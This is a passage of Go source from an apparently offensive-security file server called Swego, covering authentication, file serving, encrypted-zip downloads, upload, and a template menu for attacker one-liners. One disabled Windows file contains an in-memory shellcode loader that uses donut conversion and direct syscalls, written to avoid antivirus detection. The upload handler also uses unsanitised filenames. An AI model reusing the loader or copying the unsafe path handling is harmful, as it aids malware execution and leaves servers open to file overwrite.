path) 18 | utils.Check(err, "fail to check subdirectory") 19 | 20 | if isSubdirectory { 21 | w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`) 22 | 23 | s := strings.SplitN(r.Header.Get("Authorization"), " ", 2) 24 | if len(s) != 2 { 25 | http.Error(w, "Not authorized", 401) 26 | return 27 | } 28 | 29 | b, err := base64.StdEncoding.DecodeString(s[1]) 30 | if err != nil { 31 | http.Error(w, err.Error(), 401) 32 | return 33 | } 34 | 35 | pair := strings.SplitN(string(b), ":", 2) 36 | if len(pair) != 2 { 37 | http.Error(w, "Not authorized", 401) 38 | return 39 | } 40 | 41 | if pair[0] != cmd.Username || pair[1] != cmd.Password { 42 | http.Error(w, "Not authorized", 401) 43 | return 44 | } 45 | //fmt.Println("Serving: "+ path.Join((*Private), path.Clean(r.URL.Path))) 46 | // h.ServeHTTP(w, r) 47 | //HandleFile(w, r) 48 | } 49 | h(w, r) 50 | } 51 | } 52 | 53 | // BasicAuth function to handle private directory and print basic authentication 54 | func IPFiltering(h http.HandlerFunc) http.HandlerFunc { 55 | return func(w http.ResponseWriter, r *http.Request) { 56 | var remoteIP string 57 | remoteIP = strings.Split(r.RemoteAddr, ":")[0] 58 | if len(cmd.IPWhitelist) > 0 && !utils.StringInSlice(cmd.IPWhitelist, remoteIP) { 59 | log.Printf("Request from %s not in slice %+v\n", remoteIP, cmd.IPWhitelist) 60 | http.Error(w, "Not authorized", 401) 61 | return 62 | } 63 | h(w, r) 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/controllers/oneliners.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | views "Swego/src/views" 5 | _ "embed" 6 | "errors" 7 | "html/template" 8 | "io/fs" 9 | "os" 10 | "path/filepath" 11 | "strconv" 12 | "strings" 13 | 14 | "Swego/src/cmd" 15 | "Swego/src/utils" 16 | 17 | "github.com/manifoldco/promptui" 18 | ) 19 | 20 | // File struct which contains its name and path 21 | type File struct { 22 | Name string 23 | Path string 24 | } 25 | 26 | // CliOnelinersMenu is the menu which will print the oneliner string 27 | func CliOnelinersMenu() { 28 | sliceFiles := []File{} 29 | //templateBox, err := rice.FindBox("../views/") 30 | 31 | //utils.Check(err, "oneliners: error while opening rice box") 32 | 33 | // get file contents as string 34 | //templateOneliners, err := templateBox.String("oneliners.tpl") 35 | //utils.Check(err, "oneliners: error while opening oneliners.tpl in rice box") 36 | templateOnelinersBytes, err := views.GetViews("oneliners.tpl") 37 | templateOneliners := string(templateOnelinersBytes) 38 | utils.Check(err, "oneliners: fail to read oneliners.tpl") 39 | templateOneliners = searchAndReaplceOneliners(templateOneliners) 40 | 41 | // Get all the file's name recursively. Store them in sliceFiles 42 | err = filepath.Walk(cmd.RootFolder, 43 | func(path string, info os.FileInfo, err error) error { 44 | // Ignore permission denied when iterate over files and folders 45 | if errors.Is(err, fs.ErrPermission) { 46 | return nil 47 | } else if err != nil { 48 | return err 49 | } 50 | if !info.IsDir() { 51 | path = strings.TrimPrefix(path, cmd.RootFolder) 52 | path = strings.TrimPrefix(path, "/") 53 | sliceFiles = append(sliceFiles, File{Name: info.Name(), Path: path}) 54 | } 55 | return nil 56 | }) 57 | utils.Check(err, "oneliners: error while filepath.walk") 58 | 59 | templates := &promptui.SelectTemplates{ 60 | Label: "{{ . }}?", 61 | Active: "\U0001F336 {{ .Name | cyan }} ({{ .Path | red }})", 62 | Inactive: " {{ .Name | cyan }} ({{ .Path | red }})", 63 | Selected: "\U0001F336 {{ .Name | red | cyan }}", 64 | Details: templateOneliners} 65 | 66 | searcher := func(input string, index int) bool { 67 | filesSearcher := sliceFiles[index] 68 | name := strings.Replace(strings.ToLower(filesSearcher.Name), " ", "", -1) 69 | input = strings.Replace(strings.ToLower(input), " ", "", -1) 70 | 71 | return strings.Contains(name, input) 72 | } 73 | 74 | prompt := promptui.Select{ 75 | Label: "File", 76 | Items: sliceFiles, 77 | Templates: templates, 78 | Size: 10, 79 | Searcher: searcher, 80 | } 81 | 82 | i, _, err := prompt.Run() 83 | if err != nil && err.Error() != "^C" { 84 | utils.Check(err, "oneliners: prompt failed") 85 | } 86 | // Tips to define fake faint function which is a color for promptui 87 | funcMap := template.FuncMap{ 88 | "faint": func(str string) string { return str }, 89 | } 90 | 91 | template, err := template.New("onelinersTemplate").Funcs(funcMap).Parse(templateOneliners) 92 | 93 | utils.Check(err, "oneliners: Error while using text/template") 94 | // Execute the template with the chosen file 95 | template.Execute(os.Stdout, File{Name: sliceFiles[i].Name, Path: sliceFiles[i].Path}) 96 | } 97 | 98 | func searchAndReaplceOneliners(template string) string { 99 | // Replace IP and Port by the IP, port, ... put in arguments 100 | template = strings.ReplaceAll(template, "[IP]", cmd.IP) 101 | template = strings.ReplaceAll(template, "[PORT]", strconv.Itoa(cmd.Bind)) 102 | if cmd.TLS { 103 | template = strings.ReplaceAll(template, "[PROTO]", "https") 104 | } else { 105 | template = strings.ReplaceAll(template, "[PROTO]", "http") 106 | } 107 | return template 108 | } 109 | -------------------------------------------------------------------------------- /src/controllers/parsingArgs.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | // Subcommand 4 | //var WebCommand *flag.FlagSet 5 | //var RunCommand *flag.FlagSet 6 | 7 | // Web subcommand 8 | // var Bind *int 9 | // var Root_folder *string 10 | // var Username *string 11 | // var Password *string 12 | // var PromptPassword *bool 13 | // var Uses_gzip *bool 14 | // var Private *string 15 | // var Tls *bool 16 | // var Key *string 17 | // var Certificate *string 18 | // var IP *string 19 | 20 | // var Oneliners *bool 21 | // var DisableDirectoryListing *bool 22 | 23 | // Run subcommand 24 | //var List *bool 25 | //var Binary *string 26 | //var Args *string 27 | 28 | /* func ParseArgs() { 29 | 30 | //help := flag.Bool("help",false,"Print usage") 31 | //flag.Parse() 32 | // Subcommands 33 | WebCommand = flag.NewFlagSet("web", flag.ExitOnError) 34 | RunCommand = flag.NewFlagSet("run", flag.ExitOnError) 35 | 36 | cwd, err := os.Getwd() 37 | if err != nil { 38 | fmt.Printf("Error while getting current directory.") 39 | return 40 | } 41 | 42 | // Command line parsing for subcommand web 43 | Bind = WebCommand.Int("bind", 8080, "Bind Port") 44 | Root_folder = WebCommand.String("root", cwd, "Root folder") 45 | Private = WebCommand.String("private", "private", "Private folder with basic auth, default "+cwd+"/private") 46 | Username = WebCommand.String("username", "admin", "Username for basic auth, default: admin") 47 | Password = WebCommand.String("password", "notsecure", "Password for basic auth, default: notsecure") 48 | PromptPassword = WebCommand.Bool("prompt-password", false, "Password for basic auth, will show a prompt default: false") 49 | Uses_gzip = WebCommand.Bool("gzip", true, "Enables gzip/zlib compression") 50 | Tls = WebCommand.Bool("tls", false, "Enables HTTPS") 51 | Key = WebCommand.String("key", "", "HTTPS Key : openssl genrsa -out server.key 2048") 52 | Certificate = WebCommand.String("certificate", "", "HTTPS certificate : openssl req -new -x509 -sha256 -key server.key -out server.crt -days 365") 53 | IP = WebCommand.String("ip", "0.0.0.0", "IP to bind") 54 | searchAndReplaceMap := WebCommand.String("s", "", "Search and replace string in embedded text files") 55 | Oneliners = WebCommand.Bool("i", false, "Interactive oneliner") 56 | helpWeb := WebCommand.Bool("help", false, "Print usage") 57 | DisableDirectoryListing = WebCommand.Bool("disable-listing", false, "Disable directory listing") 58 | 59 | // Command line parsing for subcommand run 60 | List = RunCommand.Bool("list", false, "List the embedded files") 61 | Binary = RunCommand.String("binary", "", "Binary to execute") 62 | Args = RunCommand.String("args", "", "Arguments for the binary") 63 | helpRun := RunCommand.Bool("help", false, "Print usage") 64 | 65 | // if not argument web subcommand by default. If there is an argument (start with -) it will be for websubcommand 66 | if len(os.Args) == 1 || strings.HasPrefix(os.Args[1], "-") { 67 | WebCommand.Parse(os.Args[1:]) 68 | } 69 | 70 | // If the second argument is a subcommand 71 | if len(os.Args) > 1 && !strings.HasPrefix(os.Args[1], "-") { 72 | switch os.Args[1] { 73 | case "web": 74 | WebCommand.Parse(os.Args[2:]) 75 | case "run": 76 | if runtime.GOOS == "windows" { 77 | RunCommand.Parse(os.Args[2:]) 78 | } else { 79 | fmt.Println("run subcommand only available on Windows not on " + runtime.GOOS) 80 | showUsage() 81 | os.Exit(1) 82 | } 83 | default: 84 | showUsage() 85 | os.Exit(1) 86 | } 87 | } 88 | if *helpWeb { 89 | showUsage() 90 | os.Exit(1) 91 | } 92 | if WebCommand.Parsed() { 93 | if *PromptPassword { 94 | reader := bufio.NewReader(os.Stdin) 95 | fmt.Print("Enter password: ") 96 | text, _ := reader.ReadString('\n') 97 | *Password = strings.TrimSpace(text) 98 | } 99 | if *Root_folder != "" { 100 | // Remove if the last character is / 101 | if strings.HasSuffix(*Root_folder, "/") { 102 | *Root_folder = utils.TrimSuffix(*Root_folder, "/") 103 | } 104 | // If relative path 105 | if !strings.HasPrefix(*Root_folder, "/") { 106 | *Root_folder = path.Join((cwd), *Root_folder) 107 | } 108 | } 109 | if *Private != "" { 110 | // Remove if the last character is / 111 | if strings.HasSuffix(*Private, "/") { 112 | *Private = utils.TrimSuffix(*Private, "/") 113 | } 114 | // If relative path 115 | if !strings.HasPrefix(*Private, "/") { 116 | *Private = path.Join((*Root_folder), *Private) 117 | } 118 | } 119 | if (*Tls || *Key != "" || *Certificate != "") && (!*Tls || *Key == "" || *Certificate == "") { 120 | fmt.Print("Tls, certificate and/or key arguments missing\n") 121 | WebCommand.PrintDefaults() 122 | os.Exit(1) 123 | } else if *Tls && (!utils.FileExists(*Certificate) || !utils.FileExists(*Key)) { //if TLS enable check if the certificate and key files not exist 124 | fmt.Printf("Certificate file %s or key file %s not found\n", *Certificate, *Key) 125 | WebCommand.PrintDefaults() 126 | os.Exit(1) 127 | } 128 | 129 | if *searchAndReplaceMap != "" { 130 | for _, item := range strings.Split(*searchAndReplaceMap, " ") { 131 | key := strings.Split(item, "=")[0] 132 | value := strings.Split(item, "=")[1] 133 | SearchAndReplaceMap[key] = value 134 | } 135 | } 136 | 137 | } else if RunCommand.Parsed() { 138 | if !*List && *Binary == "" { 139 | fmt.Println("You must specify a binary to run") 140 | RunCommand.PrintDefaults() 141 | fmt.Println("\nPackaged Binaries:") 142 | //PrintEmbeddedFiles() 143 | os.Exit(1) 144 | } 145 | // // If list and binary 146 | if *List && *Binary != "" { 147 | fmt.Println("You must specify either binary or list") 148 | RunCommand.PrintDefaults() 149 | fmt.Println("\nPackaged Binaries:") 150 | //PrintEmbeddedFiles() 151 | os.Exit(1) 152 | } 153 | if *helpRun { 154 | RunCommand.PrintDefaults() 155 | fmt.Println("\nPackaged Binaries:") 156 | //PrintEmbeddedFiles() 157 | os.Exit(1) 158 | } 159 | } 160 | } 161 | 162 | func showUsageRun() { 163 | fmt.Printf("Usage:\n%s run \"\"\n", os.Args[0]) 164 | fmt.Println("\nPackaged Binaries:") 165 | //PrintEmbeddedFiles() 166 | } 167 | 168 | func showUsage() { 169 | fmt.Println("web subcommand") 170 | WebCommand.PrintDefaults() 171 | fmt.Println("\nrun subcommand") 172 | RunCommand.PrintDefaults() 173 | fmt.Println("\nPackaged Binaries:") 174 | //PrintEmbeddedFiles() 175 | } */ 176 | -------------------------------------------------------------------------------- /src/controllers/runEmbedded_darwin.go.old: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | func EmbeddedFiles() string { 4 | returnValue := "" 5 | _, childrenFiles := listEmbeddedFiles() 6 | for _, value := range childrenFiles { 7 | returnValue += value + "\n" 8 | } 9 | return returnValue 10 | } 11 | 12 | // To avoid generating error on Linux 13 | func RunEmbeddedBinary(binary string, arguments string) { 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/controllers/runEmbedded_linux.go.old: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | // EmbeddedFiles list the embedded files 4 | func EmbeddedFiles() string { 5 | returnValue := "" 6 | _, childrenFiles := listEmbeddedFiles() 7 | for _, value := range childrenFiles { 8 | returnValue += value + "\n" 9 | } 10 | return returnValue 11 | } 12 | 13 | // RunEmbeddedBinary Do nothng, only to avoid generating error on Linux 14 | func RunEmbeddedBinary(binary string, arguments string) { 15 | 16 | } 17 | -------------------------------------------------------------------------------- /src/controllers/runEmbedded_windows.go.old: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | func checkFatalErr(err error) { 4 | if err != nil { 5 | panic(err) 6 | } 7 | } 8 | 9 | func EmbeddedFiles() string { 10 | returnValue := "" 11 | _, childrenFiles := listEmbeddedFiles() 12 | for _, value := range childrenFiles { 13 | returnValue += value + "\n" 14 | } 15 | return returnValue 16 | } 17 | 18 | func RunEmbeddedBinary(binary string, arguments string) { 19 | // feature not used. Disable it to avoid AV warning 20 | /*binaryBytes := readEmbeddedBinary(binary) 21 | argumentBinary := " " // trick use empty argument if no one is given 22 | if arguments != "" { 23 | argumentBinary = arguments 24 | } 25 | 26 | shellcode, err := donut.ShellcodeFromBytes(bytes.NewBuffer(binaryBytes), &donut.DonutConfig{ 27 | Arch: donut.X84, 28 | Type: donut.DONUT_MODULE_EXE, 29 | InstType: donut.DONUT_INSTANCE_PIC, 30 | Entropy: donut.DONUT_ENTROPY_DEFAULT, 31 | Compress: 1, 32 | Format: 1, 33 | Bypass: 3, 34 | Parameters: argumentBinary, 35 | }) 36 | 37 | bp, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) 38 | checkFatalErr(err) 39 | 40 | alloc, err := bp.GetSysID("NtAllocateVirtualMemory") 41 | checkFatalErr(err) 42 | protect, err := bp.GetSysID("NtProtectVirtualMemory") 43 | checkFatalErr(err) 44 | createthread, err := bp.GetSysID("NtCreateThreadEx") 45 | checkFatalErr(err) 46 | 47 | // create thread on shellcode 48 | const ( 49 | //special macro that says 'use this thread/process' when provided as a handle. 50 | thisThread = uintptr(0xffffffffffffffff) 51 | memCommit = uintptr(0x00001000) 52 | memreserve = uintptr(0x00002000) 53 | ) 54 | 55 | var baseA uintptr 56 | regionsize := uintptr(len(shellcode.Bytes())) 57 | _, err = bananaphone.Syscall( 58 | alloc, //ntallocatevirtualmemory 59 | thisThread, 60 | uintptr(unsafe.Pointer(&baseA)), 61 | 0, 62 | uintptr(unsafe.Pointer(®ionsize)), 63 | uintptr(memCommit|memreserve), 64 | syscall.PAGE_READWRITE, 65 | ) 66 | checkFatalErr(err) 67 | 68 | bananaphone.WriteMemory(shellcode.Bytes(), baseA) 69 | 70 | var oldprotect uintptr 71 | _, err = bananaphone.Syscall( 72 | protect, //NtProtectVirtualMemory 73 | thisThread, 74 | uintptr(unsafe.Pointer(&baseA)), 75 | uintptr(unsafe.Pointer(®ionsize)), 76 | syscall.PAGE_EXECUTE_READ, 77 | uintptr(unsafe.Pointer(&oldprotect)), 78 | ) 79 | checkFatalErr(err) 80 | 81 | var hhosthread uintptr 82 | _, err = bananaphone.Syscall( 83 | createthread, //NtCreateThreadEx 84 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 85 | 0x1FFFFF, //desiredaccess 86 | 0, //objattributes 87 | thisThread, //processhandle 88 | baseA, //lpstartaddress 89 | 0, //lpparam 90 | uintptr(0), //createsuspended 91 | 0, //zerobits 92 | 0, //sizeofstackcommit 93 | 0, //sizeofstackreserve 94 | 0, //lpbytesbuffer 95 | ) 96 | 97 | _, err = syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) 98 | checkFatalErr(err) 99 | 100 | // bit of a hack because dunno how to wait for bananaphone background thread to complete... 101 | for { 102 | time.Sleep(1000000000) 103 | }*/ 104 | } 105 | -------------------------------------------------------------------------------- /src/controllers/standardDirectory.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "Swego/src/cmd" 5 | "Swego/src/utils" 6 | "Swego/src/views" 7 | "compress/gzip" 8 | "compress/zlib" 9 | "container/list" 10 | "fmt" 11 | "html/template" 12 | "io" 13 | "log" 14 | "net/http" 15 | "net/url" 16 | "os" 17 | "path/filepath" 18 | "sort" 19 | "strconv" 20 | "strings" 21 | "time" 22 | 23 | "github.com/gabriel-vasile/mimetype" 24 | "github.com/yeka/zip" 25 | ) 26 | 27 | const serverUA = "" 28 | const fsMaxbufsize = 4096 // 4096 bits = default page size on OSX 29 | 30 | // HandleFile is the entrypoint to manage the web request 31 | func HandleFile(w http.ResponseWriter, req *http.Request) { 32 | w.Header().Set("Server", serverUA) 33 | 34 | path := filepath.Join((cmd.RootFolder), filepath.Clean(req.URL.Path)) 35 | 36 | if strings.Contains(req.URL.Path, "/private/") { 37 | req.URL.Path = strings.Replace(req.URL.Path, "/private/", "", 1) 38 | path = filepath.Join((cmd.PrivateFolder), filepath.Clean(req.URL.Path)) 39 | } 40 | serveFile(path, w, req) 41 | 42 | } 43 | 44 | func serveFile(filePath string, w http.ResponseWriter, req *http.Request) { 45 | // Opening the file handle 46 | f, err := os.Open(filePath) 47 | 48 | // Content-Type handling 49 | query, errParseQuery := url.ParseQuery(req.URL.RawQuery) 50 | 51 | // if errParseQuery == nil && len(query["embedded"]) > 0{ // Manage embedded files 52 | // embeddedRequest(w, req) 53 | // return 54 | // } 55 | 56 | if err != nil { 57 | http.Error(w, "404 Not Found : Error while opening the file.", 404) 58 | log.Println("404 Not Found : Error while opening the file " + filePath) 59 | return 60 | } 61 | 62 | defer f.Close() 63 | 64 | // Checking if the opened handle is really a file 65 | statinfo, err := f.Stat() 66 | if err != nil || errParseQuery != nil { 67 | http.Error(w, "500 Internal Error : stat() failure.", 500) 68 | log.Println("500 Internal Error : stat() failure for the file: " + filePath) 69 | return 70 | } 71 | 72 | if statinfo.IsDir() { // If it's a directory, open it ! 73 | if errParseQuery == nil && len(query["dl"]) > 0 { 74 | zipFilePath := utils.ZipDirectory(f, false) 75 | 76 | // Generate the request for the new file - remove ?dl to download the file 77 | newFile := strings.Split(req.URL.String(), "?") 78 | newRequest, _ := http.NewRequest("GET", "http://"+req.Host+newFile[0], nil) 79 | 80 | // Serve the new file (encrypted zip) 81 | serveFile(zipFilePath, w, newRequest) 82 | 83 | // Remove the zip file 84 | os.Remove(zipFilePath) 85 | 86 | return 87 | 88 | } else if errParseQuery == nil && len(query["dlenc"]) > 0 { 89 | zipFilePath := utils.ZipDirectory(f, true) 90 | // Generate the request for the new file - remove ?dl to download the file 91 | 92 | newFile := strings.Split(req.URL.String(), "?") 93 | newRequest, _ := http.NewRequest("GET", "http://"+req.Host+newFile[0], nil) 94 | 95 | // Serve the new file (encrypted zip) 96 | serveFile(zipFilePath, w, newRequest) 97 | 98 | // Remove the zip file 99 | os.Remove(zipFilePath) 100 | return 101 | } else { 102 | handleDirectory(f, w, req) 103 | } 104 | return 105 | } 106 | 107 | if (statinfo.Mode() &^ 07777) == os.ModeSocket { // If it's a socket, forbid it ! 108 | http.Error(w, "403 Forbidden : you can't access this resource.", 403) 109 | return 110 | } 111 | 112 | // Manages If-Modified-Since and add Last-Modified (taken from Golang code) 113 | if t, err := time.Parse(http.TimeFormat, req.Header.Get("If-Modified-Since")); err == nil && statinfo.ModTime().Unix() <= t.Unix() { 114 | w.WriteHeader(http.StatusNotModified) 115 | return 116 | } 117 | w.Header().Set("Last-Modified", statinfo.ModTime().Format(http.TimeFormat)) 118 | 119 | if errParseQuery == nil && len(query["dl"]) > 0 { // The user explicitedly wanted to download the file (Dropbox style!) 120 | w.Header().Set("Content-Type", "application/octet-stream") 121 | } else if errParseQuery == nil && len(query["dlenc"]) > 0 { // Download the file as an encrypted zip 122 | 123 | // Absolute path to the file 124 | filePathName := f.Name() 125 | // Create the zip file 126 | zipFile, err := os.Create(filePathName + ".zip") 127 | if err != nil { 128 | log.Fatalln(err) 129 | } 130 | zipFilePath := zipFile.Name() 131 | zipw := zip.NewWriter(zipFile) 132 | 133 | // Add file f to the zip 134 | utils.AddfiletoZip(statinfo.Name(), f, zipw, true, "infected") 135 | 136 | // Manually close the zip 137 | zipw.Close() 138 | 139 | // Generate the request for the new file 140 | newFile := strings.Split(req.URL.String(), "?") 141 | newRequest, _ := http.NewRequest("GET", "http://"+req.Host+newFile[0], nil) 142 | 143 | // Serve the new file (encrypted zip) 144 | serveFile(zipFilePath, w, newRequest) 145 | os.Remove(zipFilePath) 146 | return 147 | } else { 148 | // Need its own rice.file otherwise it will miss the first chunck 149 | fileForMime, _ := os.Open(filePath) 150 | defer fileForMime.Close() 151 | // Fetching file's mimetype and giving it to the browser 152 | if mimetype, _ := mimetype.DetectReader(fileForMime); mimetype.String() != "" { 153 | w.Header().Set("Content-Type", mimetype.String()) 154 | } else { 155 | w.Header().Set("Content-Type", "application/octet-stream") 156 | } 157 | } 158 | w.Header().Set("Cache-Control", "store, public, min-age=5, max-age=120") 159 | // Manage Content-Range (TODO: Manage end byte and multiple Content-Range) 160 | if req.Header.Get("Range") != "" { 161 | startByte := utils.ParseRange(req.Header.Get("Range")) 162 | 163 | if startByte < statinfo.Size() { 164 | f.Seek(startByte, 0) 165 | } else { 166 | startByte = 0 167 | } 168 | 169 | w.Header().Set("Content-Range", 170 | fmt.Sprintf("bytes %d-%d/%d", startByte, statinfo.Size()-1, statinfo.Size())) 171 | } 172 | 173 | // Manage gzip/zlib compression 174 | outputWriter := w.(io.Writer) 175 | 176 | isCompressedReply := false 177 | 178 | if (cmd.Gzip) == true && req.Header.Get("Accept-Encoding") != "" { 179 | encodings := utils.ParseCSV(req.Header.Get("Accept-Encoding")) 180 | 181 | for _, val := range encodings { 182 | if val == "gzip" { 183 | w.Header().Set("Content-Encoding", "gzip") 184 | outputWriter = gzip.NewWriter(w) 185 | 186 | isCompressedReply = true 187 | 188 | break 189 | } else if val == "deflate" { 190 | w.Header().Set("Content-Encoding", "deflate") 191 | outputWriter = zlib.NewWriter(w) 192 | 193 | isCompressedReply = true 194 | 195 | break 196 | } 197 | } 198 | } 199 | 200 | if !isCompressedReply { 201 | // Add Content-Length 202 | w.Header().Set("Content-Length", strconv.FormatInt(statinfo.Size(), 10)) 203 | } 204 | 205 | // Stream data out ! 206 | buf := make([]byte, utils.Min(fsMaxbufsize, statinfo.Size())) 207 | n := 0 208 | for err == nil { 209 | n, err = f.Read(buf) 210 | buf = utils.SearchAndReplace(cmd.SearchAndReplaceMap, buf) 211 | outputWriter.Write(buf[0:n]) 212 | } 213 | 214 | // Closes current compressors 215 | switch outputWriter.(type) { 216 | case *gzip.Writer: 217 | outputWriter.(*gzip.Writer).Close() 218 | case *zlib.Writer: 219 | outputWriter.(*zlib.Writer).Close() 220 | } 221 | 222 | //f.Close() 223 | } 224 | 225 | func handleDirectory(f *os.File, w http.ResponseWriter, req *http.Request) { 226 | if !cmd.DisableListing { 227 | names, _ := f.Readdir(-1) 228 | 229 | // First, check if there is any index in this folder. 230 | for _, val := range names { 231 | if val.Name() == "index.html" { 232 | serveFile(filepath.Join(f.Name(), "index.html"), w, req) 233 | return 234 | } 235 | } 236 | 237 | // Otherwise, generate folder content. 238 | childrenDirTmp := list.New() 239 | childrenFilesTmp := list.New() 240 | 241 | for _, val := range names { 242 | //if val.Name()[0] == '.' { 243 | // continue 244 | //} // Remove hidden files from listing 245 | 246 | if val.IsDir() { 247 | childrenDirTmp.PushBack(val.Name()) 248 | } else { 249 | childrenFilesTmp.PushBack(val.Name()) 250 | } 251 | } 252 | 253 | // And transfer the content to the final array structure 254 | childrenDir := utils.CopyToArray(childrenDirTmp) 255 | childrenFiles := utils.CopyToArray(childrenFilesTmp) 256 | //Sort children_dir and children_files 257 | sort.Slice(childrenDir, func(i, j int) bool { return childrenDir[i] < childrenDir[j] }) 258 | 259 | //Sort children_dir and children_files 260 | sort.Slice(childrenFiles, func(i, j int) bool { return childrenFiles[i] < childrenFiles[j] }) 261 | 262 | data := utils.Dirlisting{Name: req.URL.Path, ServerUA: serverUA, 263 | ChildrenDir: childrenDir, ChildrenFiles: childrenFiles} 264 | err := renderTemplate(w, "directoryListing.tpl", data) 265 | if err != nil { 266 | fmt.Println(err) 267 | } 268 | } 269 | } 270 | 271 | func renderTemplate(w http.ResponseWriter, view string, data interface{}) error { 272 | //templateBox, err := rice.FindBox("../views/") 273 | //if err != nil { 274 | // log.Fatal(err) 275 | //} 276 | // get file contents as string 277 | //templateString, err := templateBox.String(view) 278 | //if err != nil { 279 | // log.Fatal(err) 280 | //} 281 | //tpl := template.Must(template.Parse(templateString)) 282 | content, err := views.GetViews(view) 283 | if err != nil { 284 | log.Fatal(err) 285 | } 286 | tpl, err := template.New("tpl").Parse(string(content)) 287 | if err != nil { 288 | http.Error(w, "500 Internal Error : Error while generating directory listing.", 500) 289 | fmt.Println(err) 290 | return err 291 | } 292 | 293 | err = tpl.Execute(w, data) 294 | if err != nil { 295 | return err 296 | } 297 | return nil 298 | 299 | } 300 | 301 | func DeleteRequest(w http.ResponseWriter, req *http.Request) { 302 | path := filepath.Join((cmd.RootFolder), filepath.Clean(req.URL.Path)) 303 | if strings.Contains(req.URL.Path, "/private/") { 304 | req.URL.Path = strings.Replace(req.URL.Path, "/private/", "", 1) 305 | path = filepath.Join((cmd.PrivateFolder), filepath.Clean(req.URL.Path)) 306 | } 307 | 308 | f, err := os.Open(path) 309 | if err != nil { 310 | http.Error(w, "404 Not Found : Can't delete the file.", 404) 311 | log.Println("404 Not Found : Can't delete the file " + path) 312 | return 313 | } 314 | statinfo, err := f.Stat() 315 | if err != nil { 316 | http.Error(w, "500 Internal Error : stat() failure.", 500) 317 | log.Println("500 Internal Error : stat() failure for the file: " + path) 318 | return 319 | } 320 | 321 | if statinfo.IsDir() { // If it's a directory, open it ! 322 | err := os.RemoveAll(path) // delete an entire directory 323 | if err != nil { 324 | http.Error(w, "500 Internal Error : Can't delete the folder", 500) 325 | log.Println("500 Internal Error : Can't delete the folder: " + path) 326 | } 327 | http.Redirect(w, req, filepath.Join(req.URL.Path+"/../"), 302) 328 | } else { 329 | err := os.Remove(path) // remove a single file 330 | if err != nil { 331 | http.Error(w, "500 Internal Error : Can't delete the file", 500) 332 | log.Println("500 Internal Error : Can't delete the file: " + path) 333 | } 334 | 335 | http.Redirect(w, req, filepath.Join(req.URL.Path+"/../"), 302) 336 | } 337 | } 338 | -------------------------------------------------------------------------------- /src/controllers/upload.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "Swego/src/cmd" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "os" 9 | "path" 10 | "strings" 11 | ) 12 | 13 | // UploadFile will receive and create the uploaded file 14 | func UploadFile(w http.ResponseWriter, r *http.Request) { 15 | filepath := path.Join((cmd.RootFolder), path.Clean(r.URL.Path)) 16 | if strings.Contains(r.URL.Path, "/private/") { 17 | r.URL.Path = strings.Replace(r.URL.Path, "/private/", "", 1) 18 | filepath = path.Join((cmd.PrivateFolder), path.Clean(r.URL.Path)) 19 | } 20 | // Maximum upload of 1000 MB files 21 | r.ParseMultipartForm(10000000 << 20) 22 | // If the variable files exists 23 | if r.MultipartForm != nil { 24 | 25 | // Get handler for filename, size and headers 26 | filesHandler := r.MultipartForm.File["files"] 27 | for _, handler := range filesHandler { 28 | file, err := handler.Open() 29 | if err != nil { 30 | fmt.Println("Error Retrieving the File") 31 | fmt.Println(err) 32 | return 33 | } 34 | 35 | defer file.Close() 36 | 37 | // Create file 38 | dst, err := os.Create(filepath + "/" + handler.Filename) 39 | defer dst.Close() 40 | if err != nil { 41 | http.Error(w, err.Error(), http.StatusInternalServerError) 42 | return 43 | } 44 | 45 | // Copy the uploaded file to the created file on the filesystem 46 | if _, err := io.Copy(dst, file); err != nil { 47 | http.Error(w, err.Error(), http.StatusInternalServerError) 48 | return 49 | } 50 | f, err := os.Open(filepath + "/" + handler.Filename) 51 | defer f.Close() 52 | if err != nil { 53 | http.Error(w, "404 Not Found : Error while opening the file.", 404) 54 | return 55 | } 56 | fmt.Printf("File %s have been saved\n", filepath+"/"+handler.Filename) 57 | } 58 | data := struct { 59 | Directory string 60 | ServerUA string 61 | }{ 62 | r.URL.Path, 63 | serverUA, 64 | } 65 | err := renderTemplate(w, "upload.tpl", data) 66 | if err != nil { 67 | fmt.Print("Error while uploading: ") 68 | fmt.Println(err) 69 | } 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /src/routers/parseHttpParameter.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "Swego/src/controllers" 5 | "net/http" 6 | "net/url" 7 | ) 8 | 9 | // ParseHTTPParameter will parse the http parameter to execute specific action if one is present 10 | func ParseHTTPParameter(w http.ResponseWriter, req *http.Request) { 11 | query, errParseQuery := url.ParseQuery(req.URL.RawQuery) 12 | 13 | if errParseQuery == nil { 14 | if len(query["embedded"]) > 0 { // Manage embedded files 15 | 16 | //controllers.EmbeddedRequest(w, req) embedded are disable for now 17 | 18 | } else { 19 | if len(query["newFolder"]) > 0 { 20 | controllers.CreateFolder(w, req) 21 | 22 | } else if len(query["delete"]) > 0 { 23 | controllers.DeleteRequest(w, req) 24 | } else { 25 | 26 | controllers.HandleFile(w, req) 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/routers/router.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "Swego/src/cmd" 5 | "Swego/src/controllers" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | ) 10 | 11 | // Router : Routing function 12 | func Router(w http.ResponseWriter, req *http.Request) { 13 | fmt.Printf("\"%s %s %s %s\" \"%s\" \"%s\"\n", 14 | req.RemoteAddr, 15 | req.Method, 16 | req.URL.String(), 17 | req.Proto, 18 | req.Referer(), 19 | req.UserAgent()) // TODO: Improve this crappy logging 20 | switch req.Method { 21 | case "GET": 22 | //controllers.HandleFile(w, req) 23 | //controllers.ParseHttpParameter(w, req) 24 | ParseHTTPParameter(w, req) 25 | 26 | case "POST": 27 | // Call ParseForm() to parse the raw query and update 